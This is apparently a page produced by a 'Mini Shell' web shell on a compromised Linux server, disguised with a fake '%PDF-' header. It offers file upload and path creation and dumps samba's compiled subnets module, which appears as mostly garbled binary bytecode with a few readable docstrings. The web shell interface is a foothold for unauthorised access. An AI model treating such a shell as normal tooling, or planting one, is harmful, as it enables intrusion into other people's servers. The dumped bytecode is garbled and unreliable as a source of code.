%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/samba/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/samba/__pycache__/subnets.cpython-312.pyc

�

�I�d("���ddlZddlmZmZmZddlmZGd�de�ZGd�de�ZGd	�d
e�Z	Gd�de�Z
Gd
�de�Zd�Zd�Z
d�Zd�Zy)�N)�FLAG_MOD_ADD�FLAG_MOD_REPLACE�LdbError�)�SiteNotFoundExceptionc��eZdZdZy)�SubnetExceptionzBase element for Subnet errorsN��__name__�
__module__�__qualname__�__doc__���//usr/lib/python3/dist-packages/samba/subnets.pyr	r	s��(�rr	c��eZdZdZy)�SubnetNotFoundz$The subnet requested does not exist.Nr
rrrrr!s��.�rrc��eZdZdZy)�SubnetAlreadyExistsz&The subnet being added already exists.Nr
rrrrr&s��0�rrc��eZdZdZy)�
SubnetInvalidzThe subnet CIDR is invalid.Nr
rrrrr+s��%�rrc��eZdZdZy)�SiteNotFoundz2The site to be used for the subnet does not exist.Nr
rrrrr0s��<�rrc���|j|tjdtj|�z��}t	|�dk7rtd|z��|dj}t|t�std|z��tj|d�}	|j|�	|jd	�|jdd|�	tj �}||_tj"dt$d
�|d
<tj"t|�t$d�|d<|j'|�y#tj$rtd��wxYw#tj$rtd
��wxYw#tj$rY}|j(\}	}
|	tj*k(rt|�d|
����|	tj,k(rt/d|z���d}~wwxYw)ajCreate a subnet and associate it with a site.

    :param samdb: A samdb connection
    :param configDn: The DN of the configuration partition
    :param subnet_name: name of the subnet to create (a CIDR range)
    :return: None
    :raise SubnetAlreadyExists: if the subnet to be created already exists.
    :raise SiteNotFound: if the site does not exist.
    z(&(objectclass=Site)(cn=%s))��base�scope�
expressionrz&A site with the name %s does not existrz'%s is not a valid subnet (not a string)�CN=Subnets,CN=Sites�dnsubnet.add_base() failed�CN=X�dnsubnet.add_child() failed�CN�subnet�objectclass�
siteObject� is not a valid subnet: �(A subnet with the CIDR %s already existsN)�search�ldb�
SCOPE_SUBTREE�
binary_encode�lenr�dn�
isinstance�strr�Dn�add_baserr	�	add_child�
set_component�Message�MessageElementr�add�args�ERR_INVALID_DN_SYNTAX�ERR_ENTRY_ALREADY_EXISTSr)�samdb�configDn�subnet_name�	site_name�ret�dn_site�dnsubnet�m�e�enum�estrs           r�
create_subnetrF5s����,�,�H�C�,=�,=�"@��(�(��3�#4��5�C��3�x�1�}��C�$�%�&�	&��!�f�i�i�G��k�3�'��E��S�T�T��v�v�e�2�3�H�<����(�#�=����6�"�
���1�d�K�0���K�K�M������-�-�h��.;�=��-���,�,�S��\�<�-9�;��,��
�	�	�!����<�<�<��:�;�;�<���<�<�=��;�<�<�=���<�<�
��v�v���t��3�,�,�,��+�t� T�U�U�
�S�1�1�
1�&�&P�(3�'4�5�
5�
��
�s2�E�+E$�A1F�E!�$F�G2�AG-�-G2c�T�tj|d�}	|j|�	|jd�|j
dd|�	|j|tjd��}t|�d	k7rtd
|z��	|j|�y#tj$rt	d��wxYw#tj$rt	d��wxYw#t$r:}|j\}}|tjk(rtd
|z��Yd}~��d}~wwxYw)aDelete a subnet.

    :param samdb: A samdb connection
    :param configDn: The DN of the configuration partition
    :param subnet_name: Name of the subnet to delete
    :return: None
    :raise SubnetNotFound: if the subnet to be deleted does not exist.
    rr r!r"rr#�objectClass=subnetrr�Subnet %s does not existN)r*r1r2rr	r3r4r)�
SCOPE_BASEr-rr8�ERR_NO_SUCH_OBJECT�delete)r;r<r=rAr?�e1rDrEs        r�
delete_subnetrNms'���v�v�e�2�3�H�<����(�#�=����6�"�
���1�d�K�0�K��l�l�����&:��<���s�8�q�=� �!;�k�!I�J�J��
�L�L����%�<�<�<��:�;�;�<���<�<�=��;�<�<�=���K��w�w���t��3�)�)�)� �!;�k�!I�J�J�*��K�s.�B �C�>C$� B?�C!�$	D'�-0D"�"D'c��tj|d�}	|j|�	|jd�|j
dd|�tj|t|��}|j
dd|�	|j||�y
#tj$rt	d��wxYw#tj$rt	d��wxYw#t$rz}|j\}}|tjk(rtd|z��|tjk(rtd|z��|tjk(rt|�d	|�����d
}~wwxYw)avRename a subnet.

    :param samdb: A samdb connection
    :param configDn: The DN of the configuration partition
    :param subnet_name: Name of the subnet to rename
    :param new_name: New name for the subnet
    :return: None
    :raise SubnetNotFound: if the subnet to be renamed does not exist.
    :raise SubnetExists: if the subnet to be created already exists.
    rr r!r"rr#rIr(r'N)r*r1r2rr	r3r4r0�renamer8rKrr:rr9r)	r;r<r=�new_namerA�newdnsubnet�e2rDrEs	         r�
rename_subnetrT�sY���v�v�e�2�3�H�<����(�#�=����6�"�
���1�d�K�0��&�&���H�
�.�K����a��x�0�
�
���X�{�+���<�<�<��:�;�;�<���<�<�=��;�<�<�=�����w�w���t��3�)�)�)� �!;�h�!F�G�G�
�S�1�1�
1�%�&P�(0�'1�2�
2�
�S�.�.�
.��(�BF�!H�I�
I�
���s/�B�B6�C�B3�6C�	E�!A5E�Ec�v�tj|d�}	|j|�	|jd�|j
dd|�	|j|tjd��}t|�d	k7rtd
|z��	tj|d�}		|	j|�	|	jd�|	j
dd|�tj|d�}
|
j|	�	|j|	tjd��}t|�d	k7rtd|z��	tdj�}tj �}
||
_tj"|t$d�|
d<|j'|
�y#tj$rt	d��wxYw#tj$rt	d��wxYw#t$r;}|j\}}|tjk(rtd
|z��Yd}~���d}~wwxYw#tj$rt	d
��wxYw#tj$rt	d��wxYw#t$r;}|j\}}|tjk(rtd|z��Yd}~��qd}~wwxYw)a�Assign a subnet to a site.

    This dissociates the subnet from its previous site.

    :param samdb: A samdb connection
    :param configDn: The DN of the configuration partition
    :param subnet_name: Name of the subnet
    :param site_name: Name of the site
    :return: None
    :raise SubnetNotFound: if the subnet does not exist.
    :raise SiteNotFound: if the site does not exist.
    rr r!r"rr#rHrrrINzCN=Siteszdnsite.add_base() failedzdnsite.add_child() failedz
CN=ServerszobjectClass=sitezSite %s does not existr&)r*r1r2rr	r3r4r)rJr-rr8rKrr0r.r5r6r�modify)r;r<r=r>rAr?�e3rDrE�dnsite�	dnservers�e4�siteDnrBs              r�set_subnet_siter\�s����v�v�e�2�3�H�<����(�#�=����6�"�
���1�d�K�0�K��l�l�����&:��<���s�8�q�=� �!;�k�!I�J�J���V�V�E�:�
&�F�:�����!�;����� �����D�)�,����u�l�+�I�
���v��N��l�l��c�n�n�&8��:���s�8�q�=�'�(@�9�(L�M�M����Q����^�F����
�A��A�D��(�(��1A�)5�7�A�l�O�	�L�L��O��a�<�<�<��:�;�;�<���<�<�=��;�<�<�=���K��w�w���t��3�)�)�)� �!;�k�!I�J�J�*��K���<�<�:��8�9�9�:���<�<�;��9�:�:�;���N��w�w���t��3�)�)�)�'�(@�9�(L�M�M�*��N�s^�F%�G�>G)�%H0�7I�>I4�%G�G&�)	H-�20H(�(H-�0I�I1�4	J8�=0J3�3J8)r*rrr�sitesr�	Exceptionr	rrrrrFrNrTr\rrr�<module>r_sg��.�8�8�)�	�i�	�
	�_�	�
	�/�	�
	�O�	�
	�?�	�
5�p�B%�PAr

Zerion Mini Shell 1.0